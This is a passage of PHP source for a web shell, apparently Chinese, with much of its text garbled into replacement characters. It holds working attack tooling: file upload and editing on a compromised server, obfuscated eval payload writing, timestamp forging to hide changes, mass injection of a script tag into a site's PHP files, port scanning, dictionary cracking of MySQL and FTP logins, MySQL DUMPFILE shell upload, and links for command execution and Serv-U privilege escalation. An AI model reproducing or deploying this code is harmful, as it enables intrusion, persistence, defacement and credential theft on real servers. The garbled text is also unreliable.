||
} else {
|
||
$dir=$_GET['dir'];
|
||
$nowpath = getPath($pathname, $dir);
|
||
}
|
||
|
||
// <20>ж϶<D0B6>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||
$dir_writeable = (dir_writeable($nowpath)) ? "<22><>д" : "<22><><EFBFBD><EFBFBD>д";
|
||
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
|
||
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>" : "";
|
||
|
||
$tb = new FORMS;
|
||
|
||
?>
|
||
<html>
|
||
<head>
|
||
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||
<style type="text/css">
|
||
body,td{font-size: 12px;background-color:#000000;color:#eee;
|
||
margin: 1px;margin-left:1px;
|
||
SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323;
|
||
SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838;
|
||
SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;
|
||
SCROLLBAR-TRACK-COLOR: #383838;}
|
||
a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}
|
||
.smlfont {
|
||
font-family: "Verdana", "Tahoma", "<22><><EFBFBD><EFBFBD>";
|
||
font-size: "11px";
|
||
}
|
||
.INPUT {
|
||
FONT-SIZE: "12px";
|
||
COLOR: "#000000";
|
||
BACKGROUND-COLOR: "#FFFFFF";
|
||
height: "18px";
|
||
border: "1px solid #666666";
|
||
padding-left: "2px";
|
||
}
|
||
.redfont {COLOR: "#CA0000";}
|
||
|
||
.top {BACKGROUND-COLOR: "#CCCCCC"}
|
||
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
|
||
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
|
||
</style>
|
||
<SCRIPT language=JavaScript>
|
||
function CheckAll(form) {
|
||
for (var i=0;i<form.elements.length;i++) {
|
||
var e = form.elements[i];
|
||
if (e.name != 'chkall')
|
||
e.checked = form.chkall.checked; }}
|
||
function really(d,f,m,t) {if (confirm(m)) {if (t == 1) {window.location.href='?dir='+d+'&deldir='+f;} else {window.location.href='?dir='+d+'&delfile='+f;}}}
|
||
</SCRIPT>
|
||
</head>
|
||
<title><?php echo"$myneme"?></title>
|
||
<body style="table-layout:fixed; word-break:break-all onmouseover="window.status='<27><><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>վ<EFBFBD><D5BE><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڷǷ<DAB7><C7B7><EFBFBD>;,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߸Ų<DFB8><C5B2><EFBFBD><EFBFBD><EFBFBD>';return true" style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#626262,endColorStr=#1C1C1C)">
|
||
<center>
|
||
<?php
|
||
//$_SERVER["DOCUMENT_ROOT"]
|
||
$tb->tableheader();
|
||
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">'.date("Y<><59>m<EFBFBD><6D>d<EFBFBD><64> h:i:s",time()).'</td><td align="right"><b>'.gethostbyname($_SERVER['SERVER_NAME']).'</b></td></tr></table>','center','top');
|
||
$tb->tdbody('<a href="?dir='.$dirpath.'"><3E><>Ŀ¼</a> | <a href="?action=dir">ShellĿ¼</a> | <a href="?action=phpenv"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a> | <a href="?action=proxy"><3E><><EFBFBD>ߴ<EFBFBD><DFB4><EFBFBD></a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=crack"><3E><><EFBFBD><EFBFBD><EFBFBD>ƽ<EFBFBD></a> | <a href="?action=mix"><3E><>ѹmix.dll</a> | <a href="?action=logout">ע<><D7A2><EFBFBD><EFBFBD>¼</a>');
|
||
$tb->tdbody('<a href="?action=plgm"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a> | <a href="?action=downloads">Http<74>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></a> | <a href="?action=search&dir='.$dir.'"><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></a> | <a href="?action=eval">ִ<><D6B4>php<68>ű<EFBFBD></a> | <a href="?action=sql">ִ<><D6B4>SQL<51><4C><EFBFBD><EFBFBD></a> | <a href="?action=mysqlfun">Func<6E><63><EFBFBD><EFBFBD>Shell</a> | <a href="?action=sqlbak">MySQL<51><4C><EFBFBD><EFBFBD></a> | <a href="?action=SUExp">Serv-U<><55>Ȩ</a>');
|
||
$tb->tablefooter();
|
||
?>
|
||
<hr width="775" noshade>
|
||
<table width="775" border="0" cellpadding="0">
|
||
<?
|
||
$tb->headerform(array('method'=>'GET','content'=>'<p><3E><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>: '.$pathname.'<br><3E><>ǰĿ¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br><3E><>תĿ¼: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','ȷ<><C8B7>','','submit').' <20><>֧<EFBFBD>־<EFBFBD><D6BE><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>'));
|
||
|
||
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ǰĿ¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','ȷ<><C8B7>','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
|
||
|
||
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'<27>½<EFBFBD><C2BD>ļ<EFBFBD><C4BC>ڵ<EFBFBD>ǰĿ¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','ȷ<><C8B7>','','submit')));
|
||
|
||
$tb->headerform(array('content'=>'<27>½<EFBFBD>Ŀ¼<C4BF>ڵ<EFBFBD>ǰĿ¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','ȷ<><C8B7>','','submit')));
|
||
?>
|
||
</table>
|
||
<hr width="775" noshade>
|
||
<?php
|
||
/*===================== ִ<>в<EFBFBD><D0B2><EFBFBD> <20><>ʼ =====================*/
|
||
echo "<p><b>\n";
|
||
// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||
if (!empty($delfile)) {
|
||
if (file_exists($delfile)) {
|
||
echo (@unlink($delfile)) ? $delfile." ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>!" : "<22>ļ<EFBFBD>ɾ<EFBFBD><C9BE>ʧ<EFBFBD><CAA7>!";
|
||
} else {
|
||
echo basename($delfile)." <20>ļ<EFBFBD><C4BC>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>!";
|
||
}
|
||
}
|
||
|
||
// ɾ<><C9BE>Ŀ¼
|
||
elseif (!empty($deldir)) {
|
||
$deldirs="$dir/$deldir";
|
||
if (!file_exists("$deldirs")) {
|
||
echo "$deldir Ŀ¼<C4BF>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>!";
|
||
} else {
|
||
echo (deltree($deldirs)) ? "Ŀ¼ɾ<C2BC><C9BE><EFBFBD>ɹ<EFBFBD>!" : "Ŀ¼ɾ<C2BC><C9BE>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD>Ŀ¼
|
||
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
|
||
if (!empty($newdirectory)) {
|
||
$mkdirs="$dir/$newdirectory";
|
||
if (file_exists("$mkdirs")) {
|
||
echo "<22><>Ŀ¼<C4BF>Ѵ<EFBFBD><D1B4><EFBFBD>!";
|
||
} else {
|
||
echo (@mkdir("$mkdirs",0777)) ? "<22><><EFBFBD><EFBFBD>Ŀ¼<C4BF>ɹ<EFBFBD>!" : "<22><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
@chmod("$mkdirs",0777);
|
||
}
|
||
}
|
||
}
|
||
|
||
// <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
||
elseif ($doupfile) {
|
||
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "<22>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>!" : "<22>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
elseif($action=="mysqlup"){
|
||
$filename = $_FILES['upfile']['tmp_name'];
|
||
if(!$filename) {
|
||
echo"û<><C3BB>ѡ<EFBFBD><D1A1>Ҫ<EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>";
|
||
}else{
|
||
$shell = file_get_contents($filename);
|
||
$mysql = bin2hex($shell);
|
||
if(!$upname) $upname = $_FILES['upfile']['name'];
|
||
$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
|
||
$link=@mysql_connect($host,$user,$password);
|
||
if(!$link){
|
||
echo "<22><>½ʧ<C2BD><CAA7>".mysql_error();
|
||
}else{
|
||
$result = mysql_query($shell, $link);
|
||
if($result){
|
||
echo"<22><><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>.<2E>ļ<EFBFBD><C4BC>ɹ<EFBFBD><C9B9>ϴ<EFBFBD><CFB4><EFBFBD>".$host.",<2C>ļ<EFBFBD><C4BC><EFBFBD>Ϊ".$uppath."/".$upname."..";
|
||
}else{
|
||
echo"<22>ϴ<EFBFBD>ʧ<EFBFBD><CAA7> ԭ<><D4AD>:".mysql_error();
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
elseif($action=="mysqldown"){
|
||
if(!empty($downtmp)) echo $downtmp;
|
||
}
|
||
// <20>༭<EFBFBD>ļ<EFBFBD>
|
||
elseif ($_POST['do'] == 'doeditfile') {
|
||
if (!empty($_POST['editfilename'])) {
|
||
if(!file_exists($editfilename)) unset($retime);
|
||
if($time==$now) $time = @filemtime($editfilename);
|
||
$time2 = @date("Y-m-d H:i:s",$time);
|
||
$filename="$editfilename";
|
||
@$fp=fopen("$filename","w");
|
||
if($_POST['change']=="yes"){
|
||
$filecontent = "?".">".$_POST['filecontent']."<?";
|
||
$filecontent = gzdeflate($filecontent);
|
||
$filecontent = base64_encode($filecontent);
|
||
$filecontent = "<?php\n/*\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD><C7B3><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
|
||
}else{
|
||
$filecontent = $_POST['filecontent'];
|
||
}
|
||
echo $msg=@fwrite($fp,$filecontent) ? "д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC>ɹ<EFBFBD>!" : "д<><D0B4>ʧ<EFBFBD><CAA7>!";
|
||
@fclose($fp);
|
||
if($retime=="yes"){
|
||
echo" <3B><><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>:";
|
||
echo $msg=@touch($filename,$time) ? "<22><EFBFBD><DEB8>ļ<EFBFBD>Ϊ".$time2."<22>ɹ<EFBFBD>!" : "<22><EFBFBD><DEB8>ļ<EFBFBD>ʱ<EFBFBD><CAB1>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
} else {
|
||
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>༭<EFBFBD><E0BCAD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>!";
|
||
}
|
||
}
|
||
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||
elseif ($_POST['do'] == 'downloads') {
|
||
$contents = @file_get_contents($_POST['durl']);
|
||
if(!$contents){
|
||
echo"<22><EFBFBD><DEB7><EFBFBD>ȡҪ<C8A1><D2AA><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>";
|
||
}
|
||
elseif(file_exists($path)){
|
||
echo"<22>ܱ<EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>ļ<EFBFBD>".$path."<22>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>";
|
||
}else{
|
||
$fp = @fopen($path,"w");
|
||
echo $msg=@fwrite($fp,$contents) ? "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ɹ<EFBFBD>!" : "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>д<EFBFBD><D0B4>ʱʧ<CAB1><CAA7>!";
|
||
@fclose($fp);
|
||
}
|
||
}
|
||
elseif($_POST['action']=="mix"){
|
||
if(!file_exists($_POST['mixto'])){
|
||
$tmp = base64_decode($mixdll);
|
||
$tmp = gzinflate($tmp);
|
||
$fp = fopen($_POST['mixto'],"w");
|
||
echo $msg=@fwrite($fp,$tmp) ? "<22><>ѹ<EFBFBD><D1B9><EFBFBD>ɹ<EFBFBD>!" : "<22><>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>д<EFBFBD>ɣ<EFBFBD>!";
|
||
fclose($fp);
|
||
}else{
|
||
echo"<22><><EFBFBD>ǰɣ<C7B0>".$_POST['mixto']."<22>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ү~";
|
||
}
|
||
}
|
||
// <20>༭<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||
elseif ($_POST['do'] == 'editfileperm') {
|
||
if (!empty($_POST['fileperm'])) {
|
||
$fileperm=base_convert($_POST['fileperm'],8,10);
|
||
echo (@chmod($dir."/".$file,$fileperm)) ? "<22><><EFBFBD><EFBFBD><EFBFBD>ijɹ<C4B3>!" : "<22><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
echo " <20>ļ<EFBFBD> ".$file." <20>ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
|
||
} else {
|
||
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>!";
|
||
}
|
||
}
|
||
|
||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||
elseif ($_POST['do'] == 'rename') {
|
||
if (!empty($_POST['newname'])) {
|
||
$newname=$_POST['dir']."/".$_POST['newname'];
|
||
if (@file_exists($newname)) {
|
||
echo "".$_POST['newname']." <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>!";
|
||
} else {
|
||
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." <20>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>Ϊ ".$_POST['newname']." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
} else {
|
||
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ĵ<EFBFBD><C4B5>ļ<EFBFBD><C4BC><EFBFBD>!";
|
||
}
|
||
}
|
||
elseif ($_POST['do'] == 'search') {
|
||
if(!empty($oldkey)){
|
||
echo"<span class=\"redfont\"><3E><><EFBFBD>ҹؼ<D2B9><D8BC><EFBFBD>:[".$oldkey."],<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>ҵĽ<D2B5><C4BD><EFBFBD>:";
|
||
if($type2 == "getpath"){
|
||
echo"<22><><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ϻ<EFBFBD><CFBB>в<EFBFBD><D0B2>ֽ<EFBFBD>ȡ<EFBFBD><C8A1>ʾ.";
|
||
}
|
||
echo"</span><br><hr width=\"775\" noshade>";
|
||
find($path);
|
||
}else{
|
||
echo"<22><>Ҫ<EFBFBD><D2AA>Ϻ<EFBFBD><CFBA>?<3F><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>Ϻ<EFBFBD><CFBA><EFBFBD><EFBFBD>?<3F><>û<EFBFBD><C3BB>Ϻ<EFBFBD><CFBA>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?";
|
||
}
|
||
}
|
||
elseif ($_GET['action']=='plgmok') {
|
||
dirtree($_POST['dir'],$_POST['mm']);
|
||
}
|
||
elseif ($_GET['action'] == "plgm") {
|
||
$action = '?action=plgmok';
|
||
$gm = "<script src=http://127.0.0.1></script>";
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('<27><>վ<EFBFBD><D5BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>php<68><70>','center');
|
||
$tb->tdbody('<27>ļ<EFBFBD>λ<EFBFBD><CEBB>: '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text','60').'<br>Ҫ<>Ҵ<EFBFBD><D2B4><EFBFBD>:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>').'<br>'.$tb->makeinput('submit','<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tablefooter();
|
||
}//end plgm
|
||
// <20><>¡ʱ<C2A1><CAB1>
|
||
elseif ($_POST['do'] == 'domodtime') {
|
||
if (!@file_exists($_POST['curfile'])) {
|
||
echo "Ҫ<>ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
||
} else {
|
||
if (!@file_exists($_POST['tarfile'])) {
|
||
echo "Ҫ<><D2AA><EFBFBD>յ<EFBFBD><D5B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
||
} else {
|
||
$time=@filemtime($_POST['tarfile']);
|
||
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>Ϊ ".date("Y-m-d H:i:s",$time)." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
}
|
||
}
|
||
|
||
// <20>Զ<EFBFBD><D4B6><EFBFBD>ʱ<EFBFBD><CAB1>
|
||
elseif ($_POST['do'] == 'modmytime') {
|
||
if (!@file_exists($_POST['curfile'])) {
|
||
echo "Ҫ<>ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!";
|
||
} else {
|
||
$year=$_POST['year'];
|
||
$month=$_POST['month'];
|
||
$data=$_POST['data'];
|
||
$hour=$_POST['hour'];
|
||
$minute=$_POST['minute'];
|
||
$second=$_POST['second'];
|
||
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
|
||
$time=strtotime("$data $month $year $hour:$minute:$second");
|
||
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>Ϊ ".date("Y-m-d H:i:s",$time)." !" : "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
}
|
||
}
|
||
elseif($do =='port'){
|
||
$tmp = explode(",",$port);
|
||
$count = count($tmp);
|
||
for($i=$first;$i<$count;$i++){
|
||
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
|
||
if($fp) echo"<22><><EFBFBD><EFBFBD>".$host."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶˿<CBB6>".$tmp[$i]."<br>";
|
||
}
|
||
}
|
||
/*
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ú<EFBFBD><EFBFBD>ӣ<EFBFBD>˵ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֪<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD>ʲô<EFBFBD><EFBFBD>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><EFBFBD>Ҿ<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɴ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ɡ<EFBFBD>*/
|
||
elseif ($do == 'crack') {//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>Ϊȫ<CEAA>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>ˡ<EFBFBD>
|
||
if(@file_exists($passfile)){
|
||
$tmp = file($passfile);
|
||
$count = count($tmp);
|
||
if(empty($onetime)){
|
||
$onetime = $count;
|
||
$turn="1";
|
||
}else{
|
||
$nowturn = $turn+1;
|
||
$now = $turn*$onetime;
|
||
$tt = intval(($count/$onetime)+1);
|
||
}
|
||
if($turn>$tt or $onetime>$count){
|
||
echo"<22><><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ү~Ҫ<><D2AA><EFBFBD>ƽ<EFBFBD><C6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵ģ<CCB5><C4A3>ܱ<EFBFBD>Ǹʧ<C7B8>ܡ<EFBFBD>";
|
||
}else{
|
||
$first = $onetime*($turn-1);
|
||
for($i=$first;$i<$now;$i++){
|
||
if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
|
||
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
|
||
if($sa)
|
||
{
|
||
$t = "<22><>ȡ".$user."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ".$tmp[$i]."";
|
||
}
|
||
}
|
||
if(!$t){
|
||
echo "<meta http-equiv=\"refresh\" content=\"".$admin[jumpsecond].";URL=".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&ctype=".$ctype."\"><span style=\"font-size: 12px; font-family: Verdana\"><a href=\"".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&type=".$ctype."\"><3E>ֵ<EFBFBD><D6B5>ܹ<EFBFBD>".$count."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>".$first."<22><>".$now."<22><>".$admin[jumpsecond]."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>".$onetime."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽. >>></a><br>ȫ<><C8AB><EFBFBD>˴<EFBFBD>".$type."<22><><EFBFBD>ƽ<EFBFBD><C6BD><EFBFBD>Ҫ".$tt."<22>Σ<EFBFBD><CEA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD>".$turn."<22>ν<EFBFBD><CEBD>ܡ<EFBFBD></span>";
|
||
}
|
||
else {
|
||
echo"$t";
|
||
}
|
||
}
|
||
}else{
|
||
echo"<22>ֵ<EFBFBD><D6B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD>";
|
||
}
|
||
}
|
||
elseif($do =='port'){
|
||
if(!eregi("-",$port)){
|
||
$tmp = explode(",",$port);
|
||
$count = count($tmp);
|
||
$first = "1";
|
||
}else{
|
||
$tmp = explode("-",$port);
|
||
$first = $tmp[0];
|
||
$count = $tmp[1];
|
||
|
||
}
|
||
for($i=$first;$i<$count;$i++){
|
||
if(!eregi("-",$port)){
|
||
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
|
||
if($fp) echo"<22><><EFBFBD><EFBFBD>".$host."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶˿<CBB6>".$tmp[$i]."<br>";
|
||
}else{
|
||
$fp = @fsockopen($host, $i, $errno, $errstr, 1);
|
||
if($fp) echo"<22><><EFBFBD><EFBFBD>".$host."<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶˿<CBB6>".$i."<br>";
|
||
}
|
||
}
|
||
|
||
}
|
||
// <20><><EFBFBD><EFBFBD>MYSQL
|
||
elseif ($connect) {
|
||
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
|
||
echo "<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>ӳɹ<D3B3>!";
|
||
mysql_close();
|
||
} else {
|
||
echo mysql_error();
|
||
}
|
||
}
|
||
|
||
// ִ<><D6B4>SQL<51><4C><EFBFBD><EFBFBD>
|
||
elseif ($_POST['do'] == 'query') {
|
||
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
$result = @mysql_query($_POST['sql_query']);
|
||
echo ($result) ? "SQL<51><4C><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>ִ<EFBFBD><D6B4>!" : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
||
mysql_close();
|
||
}
|
||
|
||
// <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD>
|
||
elseif ($_POST['do'] == 'backupmysql') {
|
||
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
|
||
echo "<22><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1>ͱ<EFBFBD><CDB1>ݷ<EFBFBD>ʽ!";
|
||
} else {
|
||
if ($_POST['backuptype'] == 'server') {
|
||
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
$table = array_flip($_POST['table']);
|
||
$filehandle = @fopen($path,"w");
|
||
if ($filehandle) {
|
||
$result = mysql_query("SHOW tables");
|
||
echo ($result) ? NULL : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
||
